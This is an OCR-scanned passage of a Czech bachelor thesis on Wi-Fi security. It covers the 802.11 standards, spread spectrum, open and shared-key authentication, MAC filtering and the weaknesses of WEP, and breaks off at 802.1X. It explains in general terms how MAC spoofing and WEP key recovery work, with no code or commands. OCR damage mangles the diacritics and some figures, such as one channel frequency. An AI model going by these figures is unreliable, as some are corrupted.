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Anotace

Tato bakalafska prace se zabyva problematikou zabezpeceni bezdratovych siti. Popisuje
jednotlivé varianty standardu 802.11, metody zabezpeceni a moznosti utokd.

V praktické Casti bakalarské prace jsou popsany provedené utoky. Jedna kapitola se také
zabyva souvisejici problematikou volby bezpecnych hesel a pouzitelnosti v praxi.
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This bachelor thesis deals with the issue of wireless security. Describes the different
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Uvod

Cilem této bakalatfské prace je popsat problematiku bezdratovych siti pfedev§sim z pohledu
bezpecnosti. V dnesni dob¢€ jsou bezdratové sité véci, se kterou se vétSina z nas setkava
denné. At jiz doma, v praci, ve Skole nebo i na vefejnych prostranstvich ¢i kavarnach nebo
restauracich. Jejich vyuzivani pochopitelné piinaSi rtizné vyhody (snadnéd instalace,
mobilita uzivateli), ale kazdé pro ma isvé proti. U bezdratovych siti v podobé
zabezpeceni, které je slozitéj$i nez u metalickych siti. Nejednd se pouze o zamezeni
pfistupu do sit€ prostfednictvim pfistupového bodu, ale i o Sifrovani dat, kterd jsou
pfenaSena vzduchem a jsou tak pomérné snadno zachytitelnd. Pfevazna €ast uzivateli, kteti
vyuzivaji bezdratové technologie Wi-Fi v domacim prostfedi, maji minimalni znalosti
ohledné nastaveni potfebnych zafizeni. Casto jsou pak tyto zafizeni ponechana
ve vychozim nastaveni a stavaji se tak snadnym cilem pro uto¢niky. Ve firemnim prostiedi
se ocekdva profesiondlni pfistup a nastaveni sité¢ tak, aby spliiovala nejpiisnéjsi
bezpecnostni kritéria. Neni to vSak psanym pravidlem a tak neni problém se setkat
1 se Spatné zabezpecCenou firemni siti. Takova sit’” je pro ptfipadného Uto¢nika rozhodné
zajimave¢j$i nez domadci sit, kde prolomenim zabezpeceni ziskd vétSinou maximalné tak
ptipojeni k Internetu. V piipadé firemnich siti se mize jednat o opravdu dilezitd a citliva
data.

V teoretické Casti je tfeba nejprve popsat jednotlivé zabezpeCovaci mechanismy, které
se vyuzivaji pii zabezpecovani bezdratovych siti. Pfiblizit principy jejich fungovani
a poukdzat na bezpecCnostni slabiny. Na zacatku se podivime na néco malo z historie
a principy fungovani bezdratové sité. Dalsi kapitola bude vénovana standardu 802.11, kde
budou kromé plvodniho standardu 802.11 popsany jeho jednotlivé varianty
(802.11a, b, g, n). S principem fungovani bezdratovych siti je tieba se zaméfit na metody
bezdratového pifenosu dat (FHSS, DSSS, OFDM). Dale budou popsany principy
autentizace a pouzivané metody zabezpeceni (WEP, WPA a WPA2). U protokolu WEP je
pfedev§im poukazdno najeho nevhodnost vyuziti v dneSni dobé zdivodu pomérné
snadného prolomeni klice. Jeho hlavni nevyhodou je pouzivani statick¢ho klice. V dalsi
¢asti je popsano zabezpeceni WPA, které odstraiiuje znamé nedostatky zabezpeceni WEP.
Dulezité bylo predevsim zaméfit se na pouzité Sifrovani a kontrolu integrity dat. U WPA2
bylo popséno Sifrovani CCMP, které nahradilo TKIP u pfedchoziho WPA. V nésledujici
kapitole jsou popsdny jednotlivé typu utoku na bezdratové sité. Tyto utoku je mozné
provadét na zaklade€ znalosti ziskanych v piredchozich kapitolach. Vyuzivaji ndmi znamych
bezpecnostnich nedostatkii jednotlivych zabezpeCeni. Dale jsou popsdny moznosti jak
jednotlivym ttokiim ptedchazet. Kapitola s ndzvem Zasady zabezpeceni se vénuje
predevsim problematice hesel. Je zde popsano jakym zpiisobem zvolit dostateéné bezpecné
heslo. V dalsi kapitole je stru¢ny navod jakym zptsobem lze zvysit bezpe¢nost domaci
nebo firemni sité, ale 1 jak se bezpecné¢ chovat pii pfipojeni do nékteré ze siti vefejnych
(takzvané Free Wi-FI sité). V neposledni fadé jsou zde uvedeny statistiky z projektu
Wifileaks, ktery se zabyvd zaméfovanim bezdratovych siti v ¢eské republice pomoci
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jednoduché mobilni aplikace pro mobilni telefony se systémem Android. Jedna se
pfedevsim o piehled nejcastéji pouzivanych typi zabezpeceni a nazvli bezdratovych siti.

V praktické Casti této bakalarské jsou popsany provedené typu utokd. Tyto utoky jsou
zalozeny na znalostech ziskanych béhem vypracovani teoretické Casti a vyuzivaji prave
zminénych bezpecnostnich nedostatki jednotlivych zabezpecovacich mechanismul.

Cela prace byla zpracovana po nastudovani zdroji uvedenych v seznamu literatury, ktery
je k nalezeni na konci dokumentu.
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1 Uvod do problému wifi siti
1.1 Jak funguje wifi

WiFi zatfizeni spolu komunikuji na zakladé¢ vysilani a pfijimani signalu ve stejném
frekvenénim pasmu. RozliSujeme dva druhy komunikace. Bud’ mohou byt spojené ptimo
(peer-to-peer), nebo pomoci piistupoveho bodu (access point).

1.2 Ad-hoc

Jedna se o bezdratové sité, kde jednotlivé stanice komunikuji pfimo mezi sebou.
Komunikace probihd bez pouziti ptfistupového bodu. Tzv. Imagindrni pfistupovy bod
vytvafi prvni pfipojend stanice, kterd se stard o fizeni komunikace v siti. Pfi jakémkoliv
vypadku této stanice se fizeni ujima jina, ndhodné zvolena, stanice v siti. Komunikujici
stanice musi byt ve vzajemném radiovém rozsahu. Toto feSeni je vhodné pro mensi site,
Citajici malé mnozstvi stanic a pro komunikaci na mensi vzdalenosti. Ptistup k internetu lze
v Ad - hoc siti sdilet pokud je jedna ze stanic nakonfigurovana tak, aby fungovala jako
brana (gateway) pro pfistup k internetu. Pro domaci pouziti je vhodné napiiklad k hrani
sitovych multiplayer her, nebo pro pfenos dat.

Notebook
P —

[

e —F

=

Notebook Notebook
Obrazek 1 - Ad - hoc struktura bezdratové sité [1]

1.3 Infrastrukturni sité

Na rozdil od Ad - hoc jednotlivé stanice komunikuji prostfednictvim jednoho ¢i vice
ptistupovych bodl. Tyto sit¢ maji svou pevné danou infrastrukturu. Klient mize byt
piipojen bezdratove, pokud je v dosahu signalu piistupového bodu, nebo miize byt ptipojen
dratove. Pristupovy bod je potom rozhranim mezi dratovou a bezdratovou siti. Je schopny
zapojit do komunikace vice stanic najednou.
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Obrazek 2 - Struktura infrastrukturni bezdratové sité [2]

1.4 Historie

Pocatky bezdratovych technologii se datuji kolem roku 1940, kdy probihala Druha svétova
valka. Hudebni skladatel a vynalezce George Antheil spolecné s hereckou, vynéalezkyni
a matematickou Hedy Lamarr objevili princip penosu dat pomoci rozprostieného spektra.
Tento princip vyuzivaji idneSni bezdratové sit¢. Lamarr a Antheil nabidli prava
k pouzivani této technologie americkému namoinictvu. To vSak technologii zacalo
pouzivat az v Sedesatych letech dvacatého stoleti za doby kubanské krize pro vzajemnou
komunikaci lodi na otevieném mofi. Tento predchiidce technologie FHSS (Frequency
Hopping Spread Spectrum) byl naddle pouzivan piedev§im pro vojenské tucely.
V osmdesatych letech bylo rozhodnuto, Ze tato technologie bude vyuZzivéna i pro civilni
ucely. Tim zacind ptibeh bezdratovych siti takovych, jaké zndme dnes. V roce 1997 byl
vydan organizaci IEEE prvni standard bezdratovych siti 802.11, ktery vyuzival modulacni
principy FHSS a DSSS (Direct Sequence Spread Spectrum, Rozprostfené spektrum
v ptimé posloupnosti). Jako dal§i byla moZnost komunikace pomoci infracervenych
signalti. Rychlost byla 1 MB/s, nebo dokonce 2 MB/s, coz v porovnani s tehdejsi dratovou
siti nemohlo byt rychlosti konkurence schopné. Tento standard obsahoval zabezpeceni
WEP.
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2 Standard 802.11

Jednd se o pivodni standard vyvinuty spoleCnosti IEEE (Institute of Electrical and
Electronics Engineers), ktery byl pfijat roku 1997. Umoznoval pfenosovou rychlost 1 az
2 MB/s. Vyuzival tfi moznosti feSeni fyzické vrstvy:

e FHSS (Frequency Hopping Spread Spectrum),
e DSSS (Direct Sequence Spread Spectrum),
e Infracerveny pienos.

Linkova vrstva poskytovala nasledujici sluzby:

e autentizace,
e asociace,
e WEP (Wired Equivalent Privacy).

Velkou nevyhodou byla ur€ité jiz zminovana pienosova rychlost, kterd nedosahovala
pienosovych rychlosti klasickych metalickych siti.

Tabulka 1 - 802.11 - parametry

Pienosova rychlost | Frekvenéni pAsmo Kédovani
1 az2 MB/s 2,4 GHz FHSS/DSSS/IrDA

2.1 IEEE 802.11b

Tento standard vznikl v roce 1999 jako vylepSena verze puvodniho standardu 802.11.
Cilem bylo odstranit problém nizké pfenosové rychlosti. Standardu 802.11b se prezdivalo
Wi-Fi (Wireless Fidelity) coz v piekladu znamena bezdratovou vérnost. Pfi stejném
frekvenénim pasmu (2,4 GHz) dosahuje vysSich pifenosovych rychlosti. Rychlost az 11 Mb
za sekundu je dosaZzena pomoci nového zplsobu kddovani, tzv. doplitkové klicové
koédovani (Complementary Code Keying) na fyzické vrstvé pracujici v rdmci DSSS.

V zavislosti na zaruSeni prostiedi se pfenosova rychlost dynamicky méni. Dochazi
ke snizovani a zvySovani rychlosti vtadé 1, 2, 5,5 az 11 Mb/s. Maximalni teoreticka
rychlost na fyzické vrstvé je 11 Mb za sekundu. Uzivatelskd rychlost se vSak pohybuje
pouze okolo 6 Mb za sekundu. To je zplsobeno vlivem ruSeni, vzdalenosti
od pfistupového bodu a v neposledni fad¢é potiebnou rezii, ktera zabere pfiblizné¢ 30%
kapacity. Dosah sité, ktery je ovlivnén hustotou zastavby, se pohybuje kolem 100 metra.

2.2 |EEE 802.11a

Norma IEEE 802.11a byla schvélena brzy po tom co byla schvalena norma 802.11b.
Dosahuje teoretickych prenosovych rychlosti az 54 Mb za sekundu, které jsou diky rezii
zhruba polovi¢ni. Pracuje ve frekvenénim pasmu 5 GHz zdivodu velkého ruseni
puvodniho frekven¢niho pasma (2,4 GHz). Tuto frekvenci zacalo vyuzivat mnoho dalSich
zafizeni jako naptiklad mikrovinné trouby nebo mobilni telefony s technologii Bluetooth.
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V porovnani s 2,4 GHz pasmem poskytuje vétsi sitku pasma a vice kanalii. Definovano je
osm nezavislych, neptekryvajicich se kanald. Je zde pouZzita metoda rozprostfeného spektra
OFDM (Orthogonal Frequency - Division Multiplexing).

Nevyhodou je, ze pravé rozdilnd frekvence znemoziuje vzajemnou kompatibilitu obou
typt WLAN. Naopak vyhoda spociva ve vyssich rychlostech a vyuziti vice kanalli bez
vzdjemného ruSeni. Pocet kompatibilnich zafizeni s 802.11a je mnohem niz§i nez pocet
zafizeni kompatibilnich se standardy vyuzivajicich frekven¢ni pasmo 2,4 GHz.

2.3 IEEE 802.11g

Standard 802.11g byl schvalen roku 2003. Je navrzen pro frekvenéni pasmo 2,4 GHz stejné
jako jeho predchtiidce 802.11b. Maximalni pienosova rychlost na fyzické vrstvé je stejna
jako rychlost standardu 802.11a a dosahuje 54 Mb za sekundu. Vyuziva modulace OFMD
(Orthogonal Frequency — Division Multiplexing), ale obsahuje i modulaci DSSS (Direct
Sequence Spread Spectrum). Je to z ditvodu zpétné kompatibility se zatfizenimi pracujicimi
na standardu 802.11b. To znamena, ze pokud se do sité¢ 802.11g pfipoji zafizeni pracujici
na 802.11b dojde ke zmén¢ komunikace vSech zafizeni v siti na 802.11b. Rychlost se
v takovém piipadé snizi ze zminovanych 54 na 11 Mb za sekundu.

Dosah sité se pfi maximalni rychlosti pohybuje okolo 30 metrt. Pii rychlostech niz$ich,
stejnych jako u 802.11b, je dosah vyssi.

2.4 |EEE 802.11n

Norma 802.11n byla schvéalena v zaii roku 2009. Upravuje fyzickou vrstvu a podcast
linkové vrstvy tak, aby bylo mozno doséhnout vysSich ptenosovych rychlosti. Rychlost
namisto ptivodniho maxima v podob¢ 54 Mb za sekundu dosahuje az 600 Mb za sekundu.
Vyuziva technologii ptedchozich norem, které rozsifuje predevsim o technologii MIMO
(Multiple - Input Multiple - Output). To zlepSuje odolnost proti ruseni. MIMO pracuje na
fyzické vrstvé a lze ji proto vyuzivat bez ohledu na protokoly vysSich vrstev. Maximalni
propustnost sité a rychlost dokdZzeme jednoduse zvysit pravé piidanim antén. Standard
dokaze pracovat jak v 2,4 GHz, tak i v 5 GHz frekven¢nim pasmu. Pro dosazeni maximalni
propustnosti sit¢ je vSak doporu¢ovano pouziti frekvenéniho pasma 5 GHz.
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2.5 Prehled parametrt

V nasledujici tabulce je uveden piehled technickych parametri vSech vySe zminénych

standardi.
Tabulka 2 - Pirehled parametri standardu [1]
Max. teoreticka

Rok Frekvence . . Pramérna skuteéna , -
Standard vydéni [GHZ] prenos[(l)\zi /157chlost rychlost [Mb/s] Kodovani
802.11 1997 2.4 2 0,9 FHSS/DSSS/IrDA
802.11a 1999 5 54 23 OFMD
802.11b 1999 2.4 11 43 DSSS
802.11g 2003 2.4 54 19 OFMD/DSSS
802.11n 2009 2,4/5 600 - MIMO-OFDM
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3 Bezdratovy prenos dat

Pro bezdratovy ptenos dat se vyuZziva technologie rozprostteného spektra (SS - Spread
Spectrum). Cilem je dosazeni rychlych datovych ptenosit v pasmu ISM. Vyuziva
matematické funkce pro rozptyleni signali s niz§im vykonem do Sirokého rozsahu
kmito¢tlh. To snizuje nachylnost na Uzkopdsmové ruSeni a takovéto signaly se hiie
detekuji, protoze se chovaji jako Sum. Pfijima¢ provede opacnou operaci, kterd spociva
ve zpétném slozeni rozprostfeného signdlu do klasického twzkopasmového signalu.
V pasmu ISM nelze pouzivat jiny zplUsob pienosu signdlu nez je pravé pomoci
rozprostifeného spektra.

V Ceské republice se frekvenéni pasmo 2,4 GHz rozdéluje na 13 kanald. Technologie
rozprostfeného spektra znamend vysilani do frekvencniho rozsahu 22 MHz, ale odstup
mezi jednotlivymi kandly je pouze 5 MHz. To znamend, ze se pouzitelné kandly
piekryvaji, coz z nich ned¢la plnohodnotné kanaly. Pfi provozovani vice piistupovych
bodii je vhodné volit kanaly tak, aby se vzajemné nerusily.

Tabulka 3 - Frekvenéni pasmo 2,4 GHz - rozdéleni kanali [2]

Kanil ¥ r[e(';‘ﬁez‘l‘ce
1 2,412
2 2,417
3 2,422
4 2,427
5 2,432
6 2,437
7 2,442
8 2,477
9 2,452
10 2,457
11 2,462
12 2,467
13 2,472
14 2,484

Metody, které slouzi pro realizaci rozprostieni spektra, jsou:

e Frequency Hopping Spread Spectrum,
e Direct Sequence Spread Spectrum,
e Orthogonal Frequency Division Multiplex.
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3.1 DSSS - Direct Sequence Spread Spectrum

Metoda pifimé sekvence vyuziva toho, Ze kazdy jednotlivy bit je pied pfenosem nahrazen
celou sekvenci bitll. Tyto sekvence jsou vytvoreny pseudondhodné za pomoci Barker code
nebo Gold code. Pro uspésny prenos je nutné znat tento mechanismus na obou stranach.
Jak na strané vysilaci, tak na strané pfijimaci. Signal je rozprostien do vétsi casti radiového
spektra. Mensi nachylnost vii¢i ruSeni zvySuje spolehlivost pfenosu. Signdl se ostatnim
uzivateltim jevi jako Sum.

3.2 FHSS - Frequency Hopping Spread Spectrum

FHSS je technika vyuzivajici pro rozprostieni spektra frekvencnich poskoki. Vysilac
skaCe v pseudondhodném potadi po frekvencnich pasmech ana kazdém vysila kratky
datovy proud. Frekven¢ni Sitka pasma je 83,5 MHz. Toto pasmo je rozdéleno na 79 kanala
o Sifce 1 MHz. Zbytek pasma slouzi jako tzv. ochranné pasmo proti interferencim.
Po odvysilani pfesko¢i kmitoCet nosného signdlu na jiny kmitocet. Kazdych 30 sekund
vysttida alespon 75 kmito¢tli  (kandll). Na kazdém znich vysila maximalné
400 milisekund. Pokud se vysilaci strana nachazi na nékterém z kanald, méla by strana
pfijimaci veédét, ktery kandl to je. To je zajiSténo generatory pseudondhodnych Cisel
na obou stranach. Jak na strané vysilaci, tak na stran¢ pfijimaci. Teoreticky je mozny
provoz 26 piistupovych bodl. Ve skutecnosti je vSak pocet moznych ptistupovych bodi
nizsi (okolo 15).

3.3 OFDM - Orthogonal Frequency Division Multiplexing

Technologie OFDM (Orthogonal Frequency Division Multiplexing) je pouzita u standarda
802.11g a 802.11a. Jedna se o pfenosovou techniku vyuZivajici rozprostfené spektrum.
Vyznacuje se vétsi propustnosti a vyssi teoretickou ptfenosovou rychlosti, ktera dosahuje az
54 Mb za sekundu. Na rozdil od DSSS, kde dochazi k vytvofeni jednoho velkého kanalu,
se prenos rozdéli do né€kolika subkandlt. Tyto subkanaly pracuji paralelné na né€kolika
nezavislych frekvencich. Tim je zarucena vyssi odolnost vii¢i interferencim.

20



4 Metody zabezpeceni Wi-Fi sité

V dne$ni dobé existuje spousta metod jak zabezpecit bezdratovou sit. Na rozdil
od kabelovych siti nelze presné urcit prostor, kde bude mozno zachytit signal. Pii utoku
na kabelovou sit’ je nejprve potieba se k ni dostat fyzicky. To znamen4, Ze pocita¢ musi byt
pfipojen pomoci kabelu. To zlepSuje moZznost zabezpeceni, protoze Utocnik musi mit
piistup k datové zasuvce nebo piimo ke switchi. U kabelovych siti lze proto pouzit
zabezpeceni formou odepteni fyzického pristupu k sitovym prvkiim. Toho Ize dosahnout
napiiklad pouhym zamknutim mistnosti, ve které se datova zasuvka nebo switch nachazi.
U bezdratové sité¢ staci byt pouze v blizkosti piistupového bodu, respektive v dosahu
signalu. Zamezeni fyzického pfistupu proto neni zcela mozné, ale je mozné omezit dosah
sit¢ a zmenSit tak prostor odkud je mozné vysilany signdl zachytit. To lze provést
omezenim vystupniho vykonu pfistupového bodu na nejnizsi, avSak stale vyhovujici,
moznou miru. Napiiklad pokud mame doma bezdratovou sit’, staci nam §ifit signal pouze
vramci domu, nikoliv vSak do okolnich zahrad. V kabelovych sitich se data sméruji
pomoci piepinate pouze na stanici, které patii. Zachyceni komunikace je tak o néco
jakoukoliv jinou stanici v dosahu této sité. Nasledn¢ pak mizeme tuto komunikaci ukladat,
pomoci k tomu urenych programi, a dostat se pak pfes tato pfendsena data k citlivym
informacim.

Bezdratové sit¢ zabezpeCujeme proti neopravnénému piipojovani uZzivateli a proti
nechténému odposlechu pienaSenych dat. Z hlediska zabezpeceni bezdratovych siti proto
rozliSujeme nasledujici dvé skupiny:

e Sifrovani - zabezpeceni pienasenych dat
e Autorizace - ptistup opravnénych uzivateli

V této kapitole budou popsany a zhodnoceny z hlediska bezpecnosti pravé jednotlivé
metody zabezpeceni bezdratovych siti.

41 AUTENTIZACE, AUTENTIFIKACE

Jeste pred tim, nez muze dojit k autentizaci, musi probéhnout autentifikace. Ta probiha
nasledujicim zplsobem. Stanice, ktera se chce pfipojit k piistupovému bodu, rozesle
broadcast (vSesméroveé vysilani), kterym se dotazuje na existenci ptistupového bodu. Tento
dotaz se nazyva Probe Request. Obsahuje stanici podporované prenosové rychlosti a SSID
sité, ke které se chce stanice pfipojit. Odpoveéd na takovyto dotaz zasilaji pristupové body,
které¢ jsou v dosahu a zaroven maji pozadované SSID. To =zasilaji spole¢né¢ s dalSimi
parametry (podporované pienosové rychlosti, ¢etnost beacons a dal$i) pomoci Probe
Responce. Piistupové body, které nemaji SSID shodné s pozadovanym od stanice Probe
Request ignoruji a neodesilaji Zddnou odpoveéd'. Stanice tedy navaze spojeni se spravnym
piistupovym bodem a mlize zadit proces samotné autentizace.
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Autentizace je proces ovéieni identity subjektu (uzivatele). Jedna se o ovérfeni, zda je
uZzivatel opravnény pro vstup do bezdratové sité. Tento proces je jednosmérny. Coz
znamena, Ze autentizovat se musi pouze stanice k pfistupovému bodu. Naopak autentizace
piistupového bodu ke stanici neni nutnd. Toho lze vyuzit pfi utocich man-in-the-middle
vyuzivajicich podvrzeni ptistupového bodu.

Standard 802.11 rozliSuje dvé metody autentizace:

e Open-system autentizace (otevieny systém)
e Shared-key autentizace (sdileny klic)

Pii budovéani bezdratové sit€¢ zdlezi jen na spravci, jakou metodu autentizace zvoli.
Dulezité je aby tuto metodu podporoval jak ptistupovy bod, tak stanice, které se budou do
sité pfipojovat.

4.1.1 Open-system autentizace

Princip fungovani je velice jednoduchy, a proto neni vhodny pro zabezpeceni. Jediné co je
tteba pro pfipojeni do bezdratové sité, kterd vyuzivd Open-systém autentizace, je mit
nastavené stejné SSID jako vysila ptfistupovy bod. Neni tedy nutna jakékoliv znalost
pristupového hesla. Pokud stanice zaSle ptistupové bodu spravné SSID, je pfipojena
a miize zacit komunikovat v ramei sité. Pfi vypnutém vysilani SSID do okoli by se dalo
fici, Ze se bezpeCnost sit¢ zlepSila. UZivatel, ktery SSID nezna, se nemiiZze pfipojit.
Caste¢né tomu tak je. Sit’ nebude viditelna v seznamu dostupnych siti, ale existuji specialni
nastroje, které dovedou zjistit SSID 1 kdyZ neni vysilano.

KN &

Client AP

Authentication reguest

Authentication response

Obrazek 4 - Open-system autentizace [4]

4.1.2 Shared-key autentizace

Shared-key autentizace je o poznani lep$i nez vySe zminovana open-systém autentizace.
Standardem 802.11 je dano, Ze kazdé zatizeni pouzivajici protokol WEP, musi podporovat
Shared-key autentizaci. Kazdy uzivatel, ktery zada o ptistup do sité, by m¢l znat sdileny
kli¢. Proces autentizace zaCina tim, ze stanice zaSle authentication request pfistupovému
bodu. Ten jej pfijme a jako odpoveéd’ zaSle ndhodné vygenerovany text. Stanice zaSifruje
tento text RC4 algoritmem pomoci svého klice a zakdédovany text odeSle zpét
piistupovému bodu. Dojde k deSifrovani zaSifrovaného textu pomoci klice ptistupového
bodu a néslednému porovnéni s pivodnim textem. Pokud je tento text shodny s prvotné
vygenerovanym, znamena to, ze byl zaSifrovan pomoci stejného kli¢e. O spravnosti klice
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atedy orozhodnuti o pfijeti nebo odmitnuti se stanice dozvi pomoci authentication
response. Pfi zadani spravného klice je stanice nédsledné uspésné autentizovana.

3 &

Cliant AP

Authentication Reguest

_ Awthentication Responze [ Challenge )

Authentication (Encrypted Challenge’

Authentication Response { Success)

-

Obrazek 5 - Shared-key autentizace [4]

4.2 FILTRACE MAC ADRES

Princip filtrace MAC adres spociva v omezeni pfistupu do sit€¢ jen urcitym klientlim.
Kazdy piistupovy bod obsahuje tabulku povolenych nebo zakézanych MAC adres. Seznam
povolenych adres obsahuje MAC adresy stanic, které maji opravnéni pfistupovat do sité.
Naopak seznam zakdzanych adres obsahuje adresy, kterym je pfistup odepien. Vice
pouzivané jsou seznamy povolenych adres. To z divodu slozitéjsiho zfalSovani MAC
adresu z velkého mnozstvi nedefinovanych. Klient, ktery Zadd o pfipojeni do sité je
identifikovan svoji jedinecnou MAC adresou. Ta se porovna s adresou uloZenou v tabulce
ana zaklad¢ toho dojde k vyhodnoceni pristupu. Ptestoze je piistup povolen pouze
nékterym stanicim, hrozi odposlechnuti platnych (povolenych) MAC adres z komunikace
v siti. Vzhledem k tomu, Ze se vysilaji v nezabezpecené podobé€, neni to nijak zvIast
slozité. Zatizeni bez povoleni piistupu zméni svoji MAC adresu na néckterou
z odposlechnutych platnych. Piistupovy bod si bude myslet, Ze se jednd o povolené
zafizeni a ziska tak plnohodnotny ptistup do sité. Z tohoto ditvodu je zabezpeceni pomoci
filtrovani MAC adres samostatné nevyhovujici. Hodi se jako dopln€k k nékterému dal§imu
zabezpeceni.

4.3 WEP

Protokol WEP (Wired Equivalent Privacy) mél dokazat zabezpecit bezdratové sité
na urovni tehdejsiho zabezpeceni kabelovych LAN siti. Na rozdil od kabelovych siti
s pevné danou strukturou se signal bezdratovych siti sifi vSemozné do okoli. Cilem bylo
zamezit moznym odposlechlim. Tento zabezpecovaci standard byl uveden v roce 1999.
Byl navrzen tak, aby mohl byt implementovan do stavajicich sitovych karet. Kvuli
dodrzZeni téchto kompromist je v dnesni dob¢ jako zabezpeceni nevyhovujici avSak stale
pouzivany. Pouzivani tohoto protokolu neni standardem vyzadovéno, ale je doporu¢ovano.
Prestoze je zabezpeceni pomoci WEP pomérné snadno prolomitelné, je stale hojné

vyuzivané napfiklad v domacich sitich. Je to stile lepSi varianta nezli naprosto
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nezabezpeCend sit' a pro bézného uzivatele vystavuje nepifekonatelnou prekazku proti
pfipojeni do sité. V dnesni dobé vsak existuji vhodnéjsi metody zabezpeceni (napt. WPA
nebo WPA?2). Zakladem protokolu WEP je Sifrovani za pomoci algoritmu RC4 s tajnym
klicem.

inicializacni vektor

[data ] + [k-:untru:ulu:unl' su:uu&etj

gifrovaci kit

ifrovana data

gifrovana data ' 4

A

Obrazek 6 - Princip Sifrovani WEP [5]

4.3.1 Sifrovani RC4

O tom, zda se bude pfendSenad zprava Sifrovat, rozhoduje bit Protected frame, ktery je
soucasti MAC ramce. Sifrovani mize byt realizovano bud’ 64 bitovym, nebo 128 bitovym
klicem. Kli¢ se sklada ztajného kli¢e a inicializa¢niho vektoru (Initialization Vector).
Inicializa¢ni vektor ma konstantni délku, kterd je 24 bith pro obé¢ varianty. Inicializa¢ni
vektor se prenasi neSifrovany, takze na Sifrovanou cast pfipada z celkového poctu biti
pouze 40 bitd, respektive 104 bith. Problém protokolu WEP spociva v tom, ze standard
802.11 nefesi zptsob jak implementovat generovani inicializaéniho vektoru, ktery se
pouzivé spolecné s tajnym klicem pti vytvareni RC4 Sifry.

Jak jiz bylo zminéno, protokol WEP pouziva k Sifrovani symetrickou proudovou $ifru RC4
(Rivest Cipher 4) spolec¢nosti RSA Security. Pro Sifrovani proudovou Sifrou RC4 je
dilezité pouzivat jedineéné Sifrovaci klice. Tento kli¢ je kombinace tajného klice
a inicializa¢niho vektoru. KdyZ by byl kazdy paket Sifrovan stejnym kli¢em, byl by tento
kli¢ snadno rozlustitelny. Proto je inicializa¢ni vektor pseudondhodné generovany a to
v délce 24 bith. To nam vSak zaruCuje maximalné 2724 = 16777216 hodnot. Takovyto
pocet by se mohl zdat jako dostacujici, ale neni tomu tak. Pfi bézném sitovém provozu
dojde pomérn¢ brzy k vyCerpani vSech moznych kombinaci. Po vycerpani vsSech
jedine¢nych moznosti se za¢nou generované kli¢e opakovat. S tim roste Sance na rozlusténi
hesla utocnikem. Prave toto se ukéazalo jako nejvétsi nedostatek.
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Algoritmus RC4 vygeneruje pomoci klice pseudondhodnou posloupnost. Ta se nasledné
sluCuje s daty pomoci operace XOR. Tim se ziskavaji Sifrovana data ve stejné délce jako
data ptivodni.

Bezpecnost RC4 Sifry je dana nasledujicimi parametry:
e délkou klice,
e Cetnosti obmény klice.

Shrnuti jednotlivych bitovych délek klici 1ze vidét v nasledujici tabulce.

Tabulka 4 - Parametry WEP64 a WEP128

Délka Sifrovaciho klice 64 bita 128 bitd
Délka tajného klice 40 bitd 104 bita
Délka inicializa¢niho 24 bitii 24 bitit
vektoru

radiové rozhrani

berdritova stanice pristupoyy oo
Inizializacni
wektor W
24 - bits Y, wcilen
dileny . .
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Obrazek 7 - WEP zabezpeceni pomoci algoritmu RC4 [6]

4.3.2 Integrita dat

U protokolu WEP je integrita pfenaSenych dat zajisténa pomoci kontrolniho souctu datové
¢asti pirenaSen¢ho ramce. To je provedeno pomoci cyklického redundantniho souctu CRC
(Cyclic Redundancy Check). Vysledek toho souctu je oznacovéan jako ICV (Integrity
Check Value), coz je hodnota, kterd se pfipojuje na konec ramce. Cely rdmec se poté
Sifruje véetné tohoto ICV na konci. Na piijimaci strané¢ dojde k deSifrovani ramce
a provede se kontrola spravnosti ICV. Pokud tato hodnota nesouhlasi s hodnotou uvedenou
vramci, je jasné, ze béhem pienosu doslo ke zméné dan¢ho ramce. Tento ramec je
povazovan za neplatny a dojde k jeho zahozeni.

4.3.3 Bezpecnostni slabiny
Protokol WEP je hojné vyuzivan pro zabezpeceni predev§im domacich siti i pfes vSechna
znama bezpec€nostni rizika. Je to hlavné z divodu snadné konfigurace. Ve firemnim
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prostiedi se dnes téméf nepouziva a to pravé z divodu snadného prolomeni zabezpeceni
1 méné zdatnym uto¢nikem.

Pfi Utoku na bezdratovou sit' zabezpeCenou pomoci protokolu WEP se vyuziva
nasledujicich bezpe¢nostnich slabin tohoto protokolu.

e Jednostranna autentizace - uzivatel nevi, zda se opravdu pfipojuje ke spravnému
pristupovému bodu.

e Autentizace uZivatele - je autentizovdna pouze stanice. Pii odcizeni pocitace,
notebooku nebo jiného zafizeni s povolenim vstupu do sité, ma pak toto zafizeni
stale pristup. Utoénik ma tak k dispozici aktualni piihlaovaci iidaje, proto je tieba
provést zménu tajného klice.

e Proces autentizace - Pii autentizaci je uto¢nik schopen zachytit proces autentizace,
ktery se provadi nesifrovany. Z toho lze ziskat tajny klic.

e Staticky Kkli¢ - protokol WEP nedokdze dynamicky ménit klice. Zménu klice je
nutné provadét ruéné a nastava tak problém s distribuci kli¢h uZivatelim. Kazdé
zafizeni ptipojujici se do bezdratové sit¢ zabezpeCené protokolem WEP vyuziva
stejny sdileny kli¢. Pfi zméné klice je proto velmi problematické, pfedevSim
v rozsahlych sitich tento kli¢ dorucit vS§em klientdm.

e Generovani IV - neni pevn¢ dano jak pfesn¢ se ma ménit hodnota inicializacniho
vektoru. Nelze tedy vyloucit opakovaného pouziti stejné hodnoty, ¢ehoz muze
uto¢nik vyuzit k prolomenti klice.

44 802.1X

Standard 802.1x byl schvalen roku 2001 jako nova bezpecnostni norma. Jejim tkolem je
zabezpetit jak bezdratové sité, tak i sité kabelové. Rizeni piistupu spoéiva v tom, Ze port
na switchi je otevien az poté, co je stanice uspesné autentizovana. V piipadé bezdratovych
siti je autentizace provadéna na urovni logickych portt ptistupového bodu. Pristupovy bod
zprostfedkovava oveéfovani. Stard se o spojeni uzivatele s autentizacnim serverem (b&zné
se pouziva Kerberos nebo RADIUS). Autentizace je realizovdna protokolem EAP
(Extensible Authentication Protokol), ktery se stara o ptenos EAP paketli prostfednictvim
spojové vrstvy LAN. Ty jsou zapouzdieny do rdmcti 802.1x, proto se oznacuji jako
EAPOL (Extensible Authentication Protokol over LANs).

Béhem procesu autentizace spolu komunikuji nasledujici tfi entity:

e Kiient - Klient Zadajici o ptistup do bezdratové sité. Zasila své identifikacni udaje
piistupovému bodu.

e Pristupovy bod - Stara se o zprosttedkovani ovétovani identity klienta. Zajistuje
komunikaci klienta s autentizacnim serverem. Na zdkladé ovéfeni blokuje nebo
povoluje provoz na daném portu.

e Autentiza¢ni server - Jedna se o autentizaCni server, ktery na zaklad¢ svych
autentizacnich informaci ovefi identitu klienta. Rozhodnuti o uspé€sné nebo
neltspesné autentizaci zasild ptistupovému bodu.
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Prubéh autentizace:

EAP

